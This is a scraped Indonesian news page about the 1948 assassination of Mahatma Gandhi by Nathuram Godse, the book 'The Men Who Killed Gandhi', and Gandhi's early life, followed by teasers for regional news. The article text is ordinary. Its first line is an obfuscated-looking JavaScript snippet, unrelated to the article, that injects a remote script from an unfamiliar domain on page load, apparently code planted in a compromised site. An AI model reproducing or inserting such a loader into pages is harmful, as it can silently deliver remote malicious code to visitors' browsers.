(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Mahatma Gandhi. Namanya harum di dunia internasional. Ia dikenal sebagai tokoh perdamaian di India yang memberikan kontribusi besar terhadap dunia. Lewat ajarannya, India sejak pertengahan abad 20 berubah menjadi negara yang lebih santun dan damai.
Namun, Gandhi meninggal mengenaskan. Pada 30 Januari 1948, tepat 70 tahun lalu, tokoh yang melekat dengan rambut botak, tongkat dan kacamata ini tewas ditembak New Delhi oleh seorang pengikut nasionalis Hindu garis keras, Nathuram Godse.
Kala itu, acara doa bersama di New Delhi berujung duka. Mahatma Gandhi ditembak dari jarak dekat saat berjalan menuju panggung di tengah-tengah keramaian warga India yang menantinya untuk memimpin doa. Pelakunya adalah Nathuram Godse, simpatisan kelompok ekstrem Hindu Mahasabha. Godse melancarkan pembunuhan tersebut karena tidak setuju dengan sikap moderat Gandhi, seperti memperjuangkan doktrin anti-kekerasan dan mendukung berpisahnya Pakistan dari India.
Godse bersama rekan-rekan persengkokolannya kemudian diadili, hingga pada akhirnya dihukum mati pada 1949. Dalam buku ‘The Men Who Killed Gandhi’, diceritakan kisah pembunuhan Gandhi mulai dari rencana, kepentingan politik di sekitar dan pengadilan yang menjerat pembunuh Gandhi, yakni Nathuram Godse serta rekan-rekannya: Narayan Apte, Vishnu Karkare, Gopal Godse dan Madanlal Pahwa.
Buku tersebut menyoroti alasan mengapa Mahatma Gandhi dibunuh dan bagaimana 5 orang tersebut datang bersama-sama dan merencanakan pembunuhan itu. Penulisnya adalah Malgonkar yang tinggal di New Delhi, tak jauh dari Birla House, tempat Gandhi tewas.
Ketika peristiwa ini terjadi, Malgonkar memiliki akses ke beberapa anggota keluarga dari para konspirator. Alhasil, ia bisa menyaksikan foto-foto penting dan dokumen yang berkaitan dengan pembunuhan menggemparkan itu. Hingga tercipta masterpiece buku ‘The Men Who Killed Gandhi’.
Sosok Gandhi
Semua dunia mengenalnya, Mahatma Gandhi, lewat empat prinsip perdamaiannya. Yakni Bramkhacharya (mengendalikan hasrat seksual), Satyagraha (kekuatan kebenaran dan cinta), Swadeshi (memenuhi kebutuhan sendiri) dan Ahimsa (tanpa kekerasan terhadap semua makhluk).
Gandhi yang lahir pada 2 Oktober 1869 ini merupakan putra seorang pejabat pemerintah India. Sejak kecil, Gandhi telah menerima ajaran perdamaian anti-kekerasan dari ibunya. Ajaran pertama yang didapat Gandhi adalah ajaran Jainisme — agama di India yang menjunjung tinggi moral dan antikekerasan.
Meski semasa sekolah bukanlah murid yang menonjol, Gandhi mendapat kesempatan untuk belajar ilmu hukum di Inggris pada 1888. Sekembalinya ke India, Gandhi remaja sempat menganggur. Tak lama, ia menjadi pekerja kontrak 1 tahun di Afrika Selatan.
KANALKALIMANTAN.COM, BALIKPAPAN - PT PLN (Persero) Unit Induk Penyaluran dan Pusat Pengatur Beban (UIP3B) Kalimantan… Read More
KANALKALIMANTAN.COM - Fitur Accessibility pada perangkat smartphone adalah fitur yang penting untuk seseorang yang memiliki… Read More
KANALKALIMANTAN.COM - Kamu pernah dengar istilah "brand itu nyawa bisnis"? Di era digital ini, pernyataan… Read More
KANALKALIMANTAN.COM, BANJARBARU - Puncak musim hujan sudah memasuki sejumlah wilayah Kalimantan Selatan (Kalsel) bertepatan pada… Read More
KANALKALIMANTAN.COM, BANJARBARU - Bagi warga Kota Banjarbaru yang akan meninggalkan rumah pada perayaan libur Natal… Read More
KANALKALIMANTAN.COM, BANJARBARU - Gubernur Kalimantan Selatan (Kalsel) menetapkan besaran Upah Minimum Provinsi (UMK), Upah Minimum… Read More
This website uses cookies.